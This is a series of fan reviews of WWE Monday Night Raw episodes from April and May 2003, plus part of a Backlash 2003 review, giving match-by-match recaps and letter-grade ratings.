Monday Night Raw
Date: May 12, 2003
Location: First Union Center, Philadelphia, Pennsylvania
Commentators: Jim Ross, Jerry Lawler

It’s the final Raw before Judgment Day and the big matches are Goldberg vs. Christian inside a cage and Chris Jericho vs. Kevin Nash. Both of these matches are Steve Austin’s ideas, which makes me think that Austin might want to stick to the being retired thing as he’s not the best match maker in the world. Let’s get to it.

Austin’s picture now appears after Bischoff’s in a funny visual.

Christian is inside the cage to start things off, saying that this match doesn’t need to be taking place. No one wants to see the new People’s Champ get battered and bruised. On top of that, he has an important photo shoot tomorrow and shouldn’t come in all banged up. This brings out Austin to say there’s nothing like the feeling of a good old steel cage. Goldberg isn’t even here yet and the match is still on.

Christian saw Austin in the back earlier and was told he was on first. It was actually a different finger and Austin repeats it here. Christian thinks Austin might be jealous of Christian being friends with the Rock because it was Rock who beat Austin at Wrestlemania. We get Austin’s new “I’m trying very hard not to lose my patience” line which isn’t working for him as a new catchphrase.

Instead, he threatens to take Christian out of the Intercontinental Title battle royal but Rob Van Dam interrupts. Rob is going to be in the battle royal but Christian thinks Rob should fight Goldberg instead. That’s not cool with Austin so Christian asks the fans for a CHRISTIAN RULES chant. Austin: “That silence means you suck.” He’s not cool with his material being ripped off and threatens a Stunner as well.

This brings out Kane to enter as well, though Rob threatens to eliminate him to win the title. Austin likes the tension and thinks the way to cure it is another beer bash. Now it’s Bischoff coming out to interrupt because there won’t be a beer bash tonight. Instead he has some challenges for Van Dam and Kane’s Tag Team Titles.

Tag Team Titles: Rob Van Dam/Kane vs. Legion of Doom

As a huge Legion of Doom fan, I remember this one rather fondly. Animal kicks Rob into the corner to start but gets monkey flipped for his efforts. Hawk comes in and gets kicked in the face, only to come back with a hard clothesline. Another kick allows the hot tag to Kane as house is cleaned in a hurry. The top rope clothesline drops Hawk and Rolling Thunder connects as well. Animal makes the save and loads up the Doomsday Device but Rob ducks the clothesline. A chokeslam into the Five Star puts Hawk away.

Victoria and Steven Richards threaten to take away Trish’s looks in their hardcore match tonight.

We get the short version of last week’s way too long brawl between HHH and Kevin Nash.

Chris Jericho and HHH insult Philadelphia sports teams and discuss torn quadriceps. HHH says Jericho skyrocketed to the top of the wrestling world because he tore HHH’s quad. I really don’t know how to respond to that. Anyway HHH wants Jericho to injure Nash tonight.

Goldberg arrives in a long black limo. That’s so out of character for him. Someone tries to run him over but only hits the door.

Teddy Long tries to talk Austin into giving Rodney Mack a spot in the battle royal. You need a man of color in there. Austin agrees and gives Booker T. the spot instead.

Rodney Mack vs. Ken Phoenix/Mike Phoenix

This is a DOUBLE White Boy Challenge. Ken is better known as Kenny Dykstra/Doane (17 years old here) and Mike is his real life brother. Mack throws them around to start and plants Mike with an STO. A cobra clutch knocks Ken out but Mack throws him down before the match is stopped. The second cobra clutch on Mike is good for the quick tap.

Bischoff has no comment on the Goldberg incident but runs into Freddie Blassie of all people. Freddie is here to plug his new book and calls Bischoff a rather rude name. Rico comes in to ask if Bischoff has any ideas to fix 3 Minute Warning. Bischoff has an idea and sends Rico off. He tells Blassie to meet him inside for something he has in mind. Blassie: “What are you going to do? Hang yourself?”

Austin comes up to a livid Goldberg and asks what’s up. He knows what it’s like to be hit by a car and asks if Goldberg saw the driver. Goldberg didn’t but he’ll take it out on Christian.

Blassie comes out but Bischoff cuts off the big introduction and sends Mrs. Blassie to the back. Eric plugs the book and asks Blassie how old he is. Freddie says 23 but Bischoff thinks Blassie has about three more minutes. Bischoff wheels him to the ring where Rico and the Samoans are waiting. This brings out Austin to say one of his new big ideas is to unsuspend the Dudleys.

Dudley Boyz vs. 3 Minute Warning

The bell rings which would suggest a match but there’s no referee so that doesn’t seem to mean anything. 3 Minute Warning is quickly dispatched and Freddie says get the tables. One 3D through a table to Rico later and beer is consumed. That feels like them just bailing out on a story that wasn’t working and I’m perfectly fine with that.

Christian vs. Goldberg

Inside a cage and Christian brings a chair for protection. It turns out to be the same chair that Rock used to beat Goldberg down a few weeks back. Christian throws the chair at him which goes as well as you would expect. The beating is on in a hurry as Goldberg slowly starts taking him apart. Some chair shots get Christian out of trouble but he can’t get over the top just yet.

Christian misses a spear of his own and he bounces off the cage so Goldberg can slowly walk around some more. One heck of a cut has blood flowing down Christian’s head and a powerslam makes things even worse for him. The spear and Jackhammer end Christian without too much effort.

Rating: D+. Christian’s cut looked good and Goldberg was more like himself than usual here but it wasn’t even seven minutes long and there was no reason for this to be a cage match. It’s not a bad match or anything but Goldberg is just nothing in WWE at this point and this didn’t make it any better.

Flair sucks up to Austin and reminds him that HHH runs Raw. Austin isn’t convinced so here’s Hurricane to sing Kevin Nash’s praises. Ric yells but Austin tells him to shut up. Let’s have a match right now, starting in the back.

Ric Flair vs. Hurricane

You know Flair isn’t going to wait to sucker punch Hurricane and the fight is on in a hurry. They slug it out for a few seconds before heading into the arena with Hurricane being knocked over the announcers’ table. The fight heads to the ring and Flair’s pants come down because that’s always funny (allegedly). A backdrop and a high crossbody give Hurricane two and there’s a chokeslam for good measure. Hurricane adds a strut and the Shining Wizard for a close two. Flair gets in the chop block though and a Figure Four puts Hurricane away.

Rating: D+. I could have gone without Flair’s pants going down but the match was pretty much exactly what you would expect. I’m not sure what the point is in having Hurricane, in gear, losing clean to Flair in street clothes but they’ve done dumber things as of late. It’s hard to get annoyed at Flair winning though as it’s hardly an important match.

Post match HHH has to come in and make Flair break the hold, followed by a Pedigree to Hurricane.

Scott Steiner/Test/Goldust vs. La Resistance/Christopher Nowinski

Before the match, the French guys rip on America for being war mongers and claim Nowinski is the exception to the rule. The brawl is on in the aisle until it’s Test hammering on Grenier in the corner. Goldust comes in for an atomic drop and a powerslam before handing it off to Steiner. The pushup elbow wakes the crowd up a bit and it’s back to Test, who gets beaten down in short order. Nowinski grabs the armbar for a few seconds before it’s back to Steiner as everything breaks down. Goldust cleans house and it’s the reverse DDT to end Nowinski.

Rating: D. In a word, this story sucks. Test and Steiner aren’t interesting as a team and La Resistance is as simple of an evil foreigner team as you can find. It doesn’t help that you can pretty much guarantee that the French guys are going to be Tag Team Champions soon enough, just for the sake of pushing the anti-Iraq War stuff a little while longer.

We run down the pay per view card. This looks really bad.

Jericho doesn’t think much of Goldberg but on Sunday, he’ll become Intercontinental Champion again. Tonight though, he’ll take care of Kevin Nash.

Trish Stratus vs. Victoria

Hardcore match in Philadelphia so here’s Tommy Dreamer to cancel out Steven Richards. Trish forearms away to start and goes to the weapons but has to sunset flip her way out of trouble instead. Victoria finds a cookie sheet and they mess up a spot where Trish tries to kick it into her face. That’s fine as they just pop up and do it again, making things look even worse the second time. Victoria is right back with the spinning side slam but Trish Matrixes away from a trashcan lid shot.

The Chick Kick knocks the lid into Victoria’s face but she comes back with a leather strap for whipping and choking. Naturally, JR talks about bondage magazines. Victoria chokes her in the corner but gets taken down by a hurricanrana. The guys get in fight on the floor, leaving Trish to score with a kendo stick shot, followed by Stratusfaction for the pin.

Rating: D. Nothing to see here as usual, but that’s the case with most of the women from this stretch. We’ve seen them all fight so many times, including these two in the same kind of a match about six months ago. They need some fresh blood in the worst way as we’ve just covered everything that could possibly be done. It also doesn’t help that they were missing a lot of their spots, making this more sloppy than memorable.

Kevin Nash vs. Chris Jericho

Jericho tries to jump him to start but gets swatted away by Nash’s cat-like reflexes. A right hand to the head drops Jericho so Chris starts going after the leg (which HHH totally inspired of course). Jericho charges into an elbow and gets kneed out to the floor as I’m still trying to figure out why I’m supposed to care about Nash. A chop block cuts Nash down as you can’t fault Jericho’s logic.

The leg is wrapped around the post but Nash gets in a side slam as this match is killing the crowd in a hurry. As in there was just no reaction to one of his biggest moves (and it’s not like he has many others to pick from). Jericho is right back with the bulldog and a Lionsault for two. There’s the big boot but HHH and Flair come in for the DQ, though the bell doesn’t actually ring.

Rating: D-. Just for that non-reaction to the side slam alone. The fans are absolutely not caring about Nash but that’s never stopped them from going in a certain direction before. Jericho was trying here and the leg stuff was fine but there’s not much you can do whtn the fans don’t care in the slightest.

Shawn Michaels runs down to help and the good guys clean house with Shawn counting pins to end the show.

Overall Rating: D-. The Legion of Doom were a nice surprise to start things off and it’s just all downhill from there. I can’t think of a single positive thing about this show and the whole show is just uninteresting and bad. I’m really not sure I can make it that much simpler: it’s not good wrestling and the stories are even worse. Anything interesting would be an upgrade at this point as I just need something to hold onto with these shows. Unfortunately, I don’t see that happening anytime soon.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

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Monday Night Raw
Date: May 5, 2003
Location: Metro Centre, Halifax, Nova Scotia, Canada
Commentators: Jim Ross, Jerry Lawler

It’s another new era as Steve Austin is the new co-General Manager, working with and likely tormenting Eric Bischoff, who has been abusing his power as of late. Other than that we have the slow build towards HHH vs. Kevin Nash while Goldberg is stuck doing almost none of the things that got him over in WCW. Let’s get to it.

In Memory of Miss Elizabeth. That’s still horribly sad.

We open with a recap of Bischoff suddenly trying to use his power to sleep with Trish Stratus and Lita, causing Linda McMahon to show up and name Austin the co-boss.

Opening sequence.

Here’s Austin with a briefcase to get things going, likely in the form of a list of things he’s doing as boss. Austin starts by thanking Linda (with a bunch of WHAT’S included, as it’s spread to Canada) for offering him the job and getting him out of the house. To celebrate, tonight we’re having the biggest beer bash in the history of Monday Night Raw.

As for the business end of things, there were some stupid things that happened while he was gone, including the Intercontinental Title being abolished. Therefore, at Judgment Day, there’s going to be a battle royal and the winner will win the Intercontinental Title, which Austin pulls out of the briefcase. That earns a big AUSTIN chant as he says that all former champions are eligible to enter the battle royal. He has another announcement but here are Bischoff and Chief Morely to cut him off.

Eric reminds Austin that they’re partners and a decision like the return of the Intercontinental Title should be a mutual decision. Austin says he was trying to make the show better and he’s been known to step on some toes. Bischoff brings up that he was the one who abolished the title in the first place and doesn’t seem happy. He eventually agrees with bringing the title back but he has an idea of his own. Therefore, at Judgment Day, HHH will defend the World Title against Kevin Nash.

Austin likes the idea and they actually say they like each other but Austin has one more idea. Actually he’s hired someone and it happens to be one of his best friends. The fans immediately get the idea and cheer the heck out of Austin as he announces the return of Jim Ross. Bischoff fires JR almost immediately and it turns into a Bugs Bunny/Daffy Duck (works for me) routine until Austin puts his hand over Eric’s mic. He says he’s trying very hard not to lose his temper, drawing perhaps the only LOSE IT chant in wrestling history.

Austin has an idea: let’s settle it with a match between himself and Bischoff with JR’s job on the line. Eric says no because Linda wouldn’t like it and it’s Bugs and Daffy all over again over whether or not Bischoff is scared. Morely steps in and is willing to wrestle on Bischoff’s behalf….against JR. Austin to Morely: “I think you’re extremely stupid.” JR isn’t a wrestler anyway, so who could Austin get to do it? Lawler stands up and offers his services so the match is on right now.

Jerry Lawler vs. Chief Morely

Coach is now on commentary on his own. Lawler takes Morely (in street clothes) down with some clotheslines and a dropkick. A quick piledriver gives Jerry two but he misses a middle rope elbow. Morely rolls some suplexes and hits his own middle rope elbow for two. Jerry fights back again but Eric trips him up, drawing the referee outside to prevent Austin from killing him. The Money Shot is loaded up but JR shoves him off, setting up the middle rope fist to get JR’s job back.

Rating: D. This was all about the story and there’s nothing wrong with that. There wasn’t any doubt to this one and they kept it short enough to not get too bad. JR is a far better choice on commentary than Coach so let him be back where he belongs. If nothing else it shows Bischoff up, which is where Austin is going to shine.

Post match, Eric slaps Morely and storms off. Austin calls Coach to the ring to congratulate JR and then Stun him off the team. Eh it’s not like anyone cared about him in the first place. JR and King really don’t care and celebrate anyway.

In the back, Bischoff fires Morely. Austin comes up and says Bischoff can’t do that without his permission. Morely: “Then I’m still here!” Austin: “No you’re fired.” Ok that was funny.

We recap Goldberg destroying everyone in sight last week. He gets Christian tonight.

Scott Steiner and Test have a pose off in the back until Stacy Keibler comes in to say chill.

Tag Team Titles: Rob Van Dam/Kane vs. Test/Scott Steiner

Steiner and Test are challenging. Scott chops away at Rob in the corner but a spinning kick to the face takes him down. The split legged moonsault gets two and there’s another kick to put Scott on the floor. Back in and Scott grabs a powerslam to almost no reaction. The elbow drop into the push-ups has Stacy’s eyes glowing and it’s off to Test, drawing a Stacy chant.

We hit the chinlock for a bit until a dropkick allows the hot tag to Kane. House is cleaned in a hurry, including the top rope clothesline to Test. Steiner makes the save though, allowing Test to grab the pumphandle powerslam. Kane takes the full nelson slam and drops his top rope elbow with Van Dam having to make another save. Test kicks Steiner by mistake though and it’s a chokeslam into the Five Star to retain the titles.

Rating: C-. Test and Steiner were a bit better than I was expecting here but at least they didn’t do something stupid here. Kane and Van Dam still have some more time with the titles and they’re the best option to hold them at the moment. Well until La Resistance debuts of course because they’re the kind of real life idea that WWE would want to push.

Austin hangs up a picture of himself in the office and has a few hundred beers delivered. Bischoff says we can’t afford this but Austin doesn’t want to hear it. He has a desk being brought in and shoves over Bischoff’s couch to make room. Oh and Bischoff isn’t invited to the beer bash. I still love the idea that it’s the same office every week and it just travels from arena to arena.

It’s Highlight Reel time (no longer Hi-Lite) and Jericho is instantly beloved in Canada. Jericho wastes no time in entering himself in the battle royal, which he promises to bring home to Canada. He also takes credit for winning the six man tag at Backlash and here’s a clip of the ending. Then we see Kevin Nash chasing HHH off last week and shattering the limo window with the sledgehammer.

This brings out the guest, which of course is Nash himself. Nash gets all serious and shouts that HHH is a dead man. That brings out the second guest: HHH. Nash tosses Jericho without much effort but Chris sneaks back in for a low blow. A loud chair shot to the back looks to set up a Pedigree onto the chair but Nash backdrops his way to freedom. They slowly brawl to the floor as this just kind of keeps going. Nash misses a chair shot but sends him into the steps instead.

The steps go off of HHH’s head to bust him open and there’s a belt shot to the head for good measure. Nash beats up some referees but HHH hits him in the ribs with a pipe. An electric light to the back keeps Nash down but he’s up fast enough to take the fight into the back. Even more slow right hands keep HHH down until a monitor shot drops Nash.

Some agents come in but Nash sends HHH into the side of an ambulance. HHH staggers across the street and steals a car to escape. If you start the clock when HHH first touched Nash, this was over eight minutes long, which will actually be longer than their pay per view match. It wasn’t even a horrible brawl, but it felt like it was in slow motion and it’s still designed to set up HHH vs. Nash on pay per view. That’s about as hard of a dead end as you can run into.

Post break Jericho is smirking at the chaos when Austin comes up behind him. Austin sees Jericho as a main event player and gives him Nash next week.

We recap the opening segment.

Booker T. vs. Lance Storm

Storm takes him down in a hurry and it’s off to an early Sharpshooter, making Storm the most popular man in the world for about ten seconds. Back up and Booker scores with some forearms and the side kick. The Spinarooni is broken up with a superkick for a very close two but the ax kick gives Booker the fast pin.

La Resistance hits on Stacy and tells her to watch their match tonight.

La Resistance vs. Tommy Dreamer/Spike Dudley

Spike starts in on Dupree’s arm and armdrags Grenier for a bonus. A low bridge sends Spike outside though and we hit the chinlock. The fans are WAY behind Spike and Tommy as Spike fights up and gets in a headbutt to the ribs. A DDT/neckbreaker combination takes the French guys down but Dreamer gets sent outside, setting up something like a double spinebuster to end Spike.

Rating: D. Another dull match but it helps to get La Resistance an actual win. It’s not like the division has any kind of depth so even a lame team is better than nothing. If nothing else it lets us see Spike get beaten up, which means some of his normally impressive looking selling.

Post match La Resistance beats on Dreamer until Steiner and Test make the save.

Eric calls Linda and wants to change things. He doesn’t want to resign but does hit on her for some reason. Linda hangs up on him to get away from this really weird new character.

Christian doesn’t want to hear about Goldberg because it’s Canada night. Tonight, Goldberg’s losing streak begins.

Women’s Title: Trish Stratus vs. Jazz

Jazz is defending and drives her into the corner to start. JR: “Jazz may be a female of a different kind.” Somehow Jerry doesn’t jump on that line. A slam and a legdrop give Jazz two but Trish is back up with a quick Thesz press. The Stratusphere is broken up and it’s Teddy Long getting on the apron with his shoe off, only to fall on his face. The Stratusfaction connects but Victoria comes out to offer a distraction, allowing Jazz to get in a belt shot to retain.

JR and King hype up Austin’s beer bash, though the graphic says beer party. It’s not a big deal but why is that different? It’s always been a beer bash with Austin.

Christian vs. Goldberg

Goldberg is in the bad looking half black half white shorts. Hang on a second though as here are Rico and 3 Minute Warning. Rico says the three of them are going to come down there, one by one of course, and take Goldberg out. Christian just kind of disappears as the trio hits the ring and gets beaten down. Goldberg spears the Samoans down and Jackhammers Rico for the pin. That was a match?

Christian pops back up and chairs Goldberg in the back before running through the crowd. Goldberg grabs the mic but Austin interrupts. Austin is ready to drink but Goldberg has a problem. He wants to get his hands on Christian so Austin makes another match between the two of them for next week, this time inside a cage. A ton of beer is brought out and a bunch of fans surround the ring to drink as well. This just keeps going for a few minutes until the show ends.

Overall Rating: D. I didn’t hate the show but my goodness those long segments were insanely long. They were really cranking up the Canadian content this week and I get the idea of not having Goldberg face Christian here for fear of having Goldberg booed, but why book the match in the first place? Just do what you did with Rico and 3 Minute Warning and then do the post match stuff as it went. Why create a problem that doesn’t need to be there in the first place?

Austin is a nice breath of air for the show but Goldberg is already completely overshadowed by both Austin and Nash vs. HHH, which is going to be treated as a big deal no matter what. Goldberg is going to be fine in the long run but I haven’t been as uninterested in a big new character in quite a while. The show wasn’t great but it was far less boring than recent weeks, which is an important change of pace.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

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And check out my Amazon author page with cheap wrestling books at:

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Monday Night Raw
Date: April 28, 2003
Location: FleetCenter, Boston, Massachusetts
Commentators: Jonathan Coachman, Jerry Lawler

It’s the night after Backlash and that means it’s time to start the build towards Kevin Nash vs. HHH, which will be built off a combination of Nash and HHH’s long and storied off screen friendship as well as HHH pinning Nash last night at the pay per view. Somehow, that’s as good as it’s getting at the moment. Let’s get to it.

Opening sequence, with a big red X over Austin’s picture. That’s a nice touch.

Here’s Chris Jericho to say that since Roddy Piper and Piper’s Pit sucks, it’s time for the most thrilling man in this company to have his own show. Therefore, it’s time for the debut episode of the Hi-Lite Reel, with a very special first guest: GOLDBERG. Jericho talks about their history together in WCW and all the times that Goldberg refused to fight him.

Goldberg is willing to make up for lost time but Jericho backs off because he’s just an interviewer at the moment. He’d like to know why Goldberg left his quiet life at home to come here but Christian comes out to cut them off. Since Rock is gone, it’s pretty clear that he’s the new People’s Champion. Christian rips on the Red Sox and asks Goldberg what it’s like to be booed.

Goldberg doesn’t mind because these people can cheer him or boo him and he’s cool with it (Where have I heard this before?). He’s here to do a job and threatens to spear everyone but Jericho brings up no one wanting Goldberg here. This brings out Rico, 3 Minute Warning, Steven Richards and Victoria, none of whom want Goldberg around.

Christian lists off the reasons it should be him getting this push but Goldberg tells him to bring it. The group all teases coming to the ring but only Richards actually gets in, earning himself a spear. As usual, Goldberg feels completely out of place saying more than two words but that’s WWE for you: turn everyone into your style of a wrestler, no matter if they’re a once in a lifetime talent.

The Hurricane vs. Chief Morely

Feeling out process to start with the Chief doing Hurricane’s pose. Hurricane grabs the cape and wraps it around himself for a Val Venis hip swivel and now it’s on. They trade some rollups for two each until Hurricane works on some basic holds. The announcers debate superpowers and of course Lawler picks X-Ray vision. Coach: “Then you’d just be looking at the bones King.” Lawler: “….WHAT?”

Morely’s butterfly suplex puts Hurricane down and Val cranks on the arms. A spinebuster gives the Chief a delayed two but a suplex is countered into the Eye of the Hurricane for a break. Back up and the Shining Wizard is countered into the Blue Thunder Bomb, which still can’t get a pin on anyone. The Money Shot misses though and the Overcast puts Morely away.

Rating: C+. Nice little match here with Hurricane finally getting a clean win instead of all these flukes that don’t take him anywhere. He can wrestle a good match and the fans love his antics so I don’t know why they’re so skeptical to give him more wins like this. As usual, Morely is more than capable of having a fine match and that’s a very valuable asset to have.

Ric Flair sucks up to HHH, who sucks up right back. Tonight, HHH has gotten them a Tag Team Title match.

Here are Teddy Long and Rodney Mack to say that Larry Bird wouldn’t have had a chance as a black man. Teddy is all about giving people a chance so let’s have another Five Minute White Boy Challenge.

Rodney Mack vs. Willy Harrington

Mack pounds away in the corner as Long, on commentary, talks about the Atlanta Zoo. Willy avoids a charge in the corner but gets caught in a heck of an STO. An Oklahoma Stampede ends Willy in less than two minutes.

Post match Teddy brings out Jazz, who changed Backlash into Blacklash. Balloons fall and we have a quick celebration as Trish Stratus watches from the back. She leaves and reveals Tommy Dreamer and I believe Jonah from Tough Enough awkwardly sitting behind her.

After a break, Trish comes in to see Bischoff about a rematch with Jazz, but for some reason she doesn’t have a guaranteed rematch. Eric agrees and offers her a match where if she wins, she gets a title shot. The match will be with Bischoff, but if she loses, she has to sleep with him. Again, this really doesn’t fit Bischoff. Trish agrees.

Test is still trying to talk his way out of trouble with Stacy Keibler but isn’t cool with teaming with Scott Steiner tonight.

Tag Team Titles: Rob Van Dam/Kane vs. Ric Flair/HHH

Flair/HHH are challenging. Kane throws Flair around to start and press slams him for good measure. It’s off to Rob who gets to kick HHH down and then dive onto both villains. We cut to Shawn Michaels in the back, saying that someone in the ring is a sitting duck, sending us to a break.

Back with Van Dam kicking away at HHH, which is the champ’s version of putting someone over. Flair offers a distraction though and it’s a spinebuster so HHH can take over. We hit the stomping in the corner, followed by the jumping knee to the face for two. It’s time for the leg work to begin with the knee being wrapped around the post and HHH slapping on the Indian Deathlock (You though you were free of that one didn’t you?). Rob finally kicks HHH away and the hot tag brings in Kane to clean house.

A series of clotheslines, including the top rope variety, gets two on Flair with HHH diving in for a save. HHH throws in a chop block so Flair can put on the Figure Four but this time it’s Rob making the save. A bad looking Pedigree hits Kane but here’s Kevin Nash (you mess with one Diesel you mess with all of them) with a sledgehammer. Nash chases HHH off, leaving Flair to take the chokeslam and Five Star to retain the titles.

Rating: D+. Pretty dull match and, again, it’s all about HHH vs. Nash, despite the complete lack of interest in that feud. The champs getting a win here is fine and at least they weren’t completely done when Nash came in. Van Dam and Kane are really good in this kind of role but they need an actual team to feud with in a hurry.

HHH runs through the back and dives into a limo with Nash right behind him. It takes four shots with the hammer to break the window, which is finally enough to make the limo drive off. I’m assuming Shawn was talking to Nash about HHH? That’s rather unnecessary and added absolutely nothing.

Christopher Nowinski/Rico vs. Scott Steiner/Test

Nowinski forearms Steiner in the back to start and somehow busts Scott’s forehead open. A belly to belly sends Chris outside and it’s off to Rico to take the beating for him. Steiner gets posted but is still able to suplex his way out of Rico’s sleeper. Of course Test is outside yelling at Stacy, leaving Steiner to take a double suplex. Another suplex sends Nowinski flying though and the hot tag brings in Test. Everything breaks down and Rico kicks away at Test, only to have Steiner hit his reverse DDT for the pin on Nowinski.

Rating: D. This is really the best use of their TV time? I liked Test back in the Attitude Era but sweet goodness he’s just there at this point. That being said, seeing Steiner fall this far in such a short amount of time is amazing. We’re to the point where a win over Rico wasn’t a guarantee for him, which isn’t something you would ever expect to see.

Steiner hits his catchphrase but La Resistance makes their debut to interrupt. We see a clip from two weeks back with Steiner running down anyone who disagreed with the Iraq War and running down France. French is spoken and Steiner gets beaten down.

Morely tells Bischoff that everything is ready and the Dudleys are suspended after last night’s events. Eric is going to get stratusfied tonight.

Goldberg runs into Booker T. in the back and they reminisce about the old times, like when they nearly kill each other. Booker is ready for Christian tonight.

Christian vs. Booker T.

Booker headlocks him to start and gets two off a clothesline. Some choking in the corner cuts him off though and it turns into the punching and kicking match you would expect. Christian gets two off a dropkick and we’re off to a chinlock. More choking on the ropes fires Booker back up and a sidewalk slam gets two. Booker grabs a spinebuster and hits the ax kick but here’s 3 Minute Warning for the DQ.

Rating: D. This was about as flat of a match as you could have as they just did basic stuff until the Samoans came in for the beatdown. The story of the match seems to be setting up the post match stuff with Goldberg making the save because that’s what Goldberg needed in wrestling: friends.

Rico and Christian make it a 4-1 beatdown until Goldberg makes the save. The Jackhammer to Jamal and a spear to send Rosey through the barricade are impressive, though is this really all they can do with Goldberg the night after he beat the Rock? Really?

Trish Stratus vs. Eric Bischoff

Before we get going, Bischoff makes it No DQ. Eric does the Karate Kid pose (THAT’S TOO FAR) and gets Chick Kicked for his efforts. Cue Victoria to jump Trish but she gets knocked outside in pretty short order. Now it’s Jazz to really beat Trish down, including the double chickenwing. Bischoff says that’s enough because we want to make sure she stays conscious. With a promise to teach her a thing or two tonight, he gets the pin to end the angle disguised as a match.

A few seconds after the match ends, a limo arrives containing Linda McMahon. Suddenly Bischoff orders the referees to help her up as we go to a break. Back with that sweet Wrestlemania X theme playing Linda to the ring. She’s been talking to the Board of Directors and they have a message for Bischoff, who has to come back out here. Bischoff immediately sucks up and says he was kidding about the stuff with Trish.

That kind of talk makes her job here so easy because he’s been abusive and harassing, bordering on ego-maniacal. Therefore, a co-General Manager will be sharing power with Bischoff. He’s someone who has a better feel for the audience and the common man. Of course it’s Austin, who thinks they can make this work. Bischoff isn’t convinced, despite all of the WHAT treatment. A handshake sets up the Stunner to end the show.

Overall Rating: D. I get the idea of bringing Austin back but is it really the right time with Goldberg trying to be turned into the top face of the show? Austin hasn’t even been gone a month yet and I’m not sure you really need to be bringing him back less than a month after Goldberg debuts to a lukewarm reception. I can’t imagine they’re pulling the plug on Goldberg already, but he doesn’t seem to be in the best place this soon into his run.

The rest of the show was the usual drek from this time, though at least HHH vs. Nash was mostly confined to just one segment instead of carrying it on and on for hours at a time. There’s very little to interest the fans at this point and Austin isn’t going to do a ton of good as he’s going to get a lot of the focus despite not being able to get in the ring. Not a good show but that’s all you can expect from this period.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

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Backlash 2003
Date: April 27, 2003
Location: Worcester Centrum, Worcester, Massachusetts
Attendance: 10,000
Commentators: Michael Cole, Tazz, Jonathan Coachman, Jerry Lawler

If WWE held the least important pay per view in recent memory, does it matter in the slightest? This is a glorified Raw pay per view with a handful of Smackdown matches thrown in to fill out the card. It’s a really bad time for WWE at the moment and I don’t remember looking forward to a pay per view less than this one in a long time. Let’s get to it.

The opening video looks at Rock vs. Goldberg, which is billed as a dream match (fair enough) but the build really hasn’t done it any favors. No other matches are mentioned.

As a side note: Scott Steiner beat Rico in the dark match. I know you hear about how big of a collapse his WWE run was but my goodness I never realized it was this bad.

Smackdown Tag Team Titles: Team Angle vs. Los Guerreros

Eddie and Chavo are challenging. Team Angle brings out a framed picture of Kurt, complete with medals hanging off the corner. Haas starts with Eddie with the champ getting rolled up a few times for some early near falls. It’s off to Chavo, who stops to lay over the top rope for a bit of fun.

Benjamin comes in as well and Chavo actually wrestles him down, which only seems to give Benjamin a bit more of a serious look. A knee to the back slows Chavo down but Eddie gets in one of his own to keep Benjamin in trouble. What’s good for the champ is good for the Guerrero perhaps? Eddie gets in a few cheap shots on the floor and puts something into his boot. The slingshot hilo gets two as this has been all Guerreros to start.

For some reason Eddie lets Shelton tag out and some choking from the apron lets the champs take over. Shelton does the jump over Haas spot for two before slapping on one of his own. A powerslam sets up another chinlock as the match has slowed considerably. Haas comes in to stay on the back but a few kicks to the head allow Eddie to make the hot tag.

Heel miscommunication puts both champs in the corner but Shelton gives Chavo a good looking powerbomb. Eddie is right back in with Three Amigos to Charlie and Chavo gets a very near fall. A great looking frog splash crushes Haas so Chavo can get two more with Shelton making the last minute (perhaps post last minute) save. Chavo tries a suplex but it’s the Bobby Heenan Wrestlemania V finish with Shelton holding his foot so Haas can get the pin to retain the titles.

Rating: B-. Good choice for an opener here with the mostly fast paced action and a few hot near falls near the end. They got some time to make this work as well and it was a better match as a result. Eddie and Chavo will be fine as they’re so smooth in the ring that they can make almost anyone look better than they can on their own.

Post match, Los Guerreros jump the champs and steal the belts, leaving in a great looking green car.

Torrie Wilson tells Test to stop calling her but he keeps hitting on her anyway. Test calls her a tease for being in Playboy and insists that she wants him. Being a human, Torrie says no because A, he’s Test and B, she’s Stacy Keibler’s friend. Torrie goes to leave but Test pulls her back and kisses her. She storms off as Sable looks on with a rather evil smile. This storyline just went from stupid to REALLY bad n near record time.

Before the next match, here’s Roddy Piper with a basket full of coconuts. Piper: “I have a loverly bunch of coconuts.” He introduces Sean O’Haire and promises that he’ll teach Rikishi that everyone pays the piper. When purchasing coconuts perhaps?

Sean O’Haire vs. Rikishi

Rikishi wins a slugout on the floor to start and throws O’Haire inside for the opening bell. An early Samoan drop gets no cover as Rikishi has to go after Piper, allowing Sean to get in a superkick. We hit the neck crank with some kicks to the back thrown in for good measure. The fans keep booing something in the crowd as Rikishi fights up and splashes O’Haire in the corner.

Sean pretty easily kicks away the Stinkface as Piper gets inside with the coconut. That goes nowhere as a double superkick puts both guys down. Piper comes in again but gets coconutted to the head. The distraction is enough for O’Haire to hit the reverse Death Valley Driver for the pin.

Rating: D-. Terrible match of course but points for putting someone young over. I know the focus is on Piper (not a surprise) but at least they’re trying to push someone fresh. I’d come up with something other than the Snuka vs. Piper feud from twenty years ago, though at least they don’t have Snuka getting back in the ring. Yet at least.

Sable tells Stacy that Torrie kissed Test and even gave him the advance copy of Playboy a few weeks ago. I’ve started typing a few different things about how stupid this is but I think it speaks for itself. I mean…..Eugene was presented as ten times smarter than Stacy in this segment.

Rob Van Dam likes being a champion but says it doesn’t matter what happens tonight because Chief Morely (guest referee, as announced on Heat) won’t let he and Kane retain. Kane says they’ll take everyone down with them.

Raw Tag Team Titles: Rob Van Dam/Kane vs. Dudley Boyz

The Dudleys are defending and Morely is guest referee. Bubba jumps Van Dam from behind to start but a quick leg trip gets him out of trouble. A standoff slows things down but more importantly allows Van Dam to hit that signature pose. Bubba drops him with a right hand and does the same pose to a rather negative reaction. It’s off to D-Von vs. Kane as this is already feeling like a glorified Raw match. The abundant amount of empty chairs would seem to back up that theory.

A big boot gives Kane two and it’s back to Bubba to change things up a bit. The fans want tables but have to settle for Kane getting two off a spinebuster instead. Morely hasn’t been much of a factor so far. Van Dam’s split legged moonsault is good for two but it’s time for some good old fashioned cheating. D-Von comes in sans tag to draw Kane in as well, meaning Van Dam has to take What’s Up.

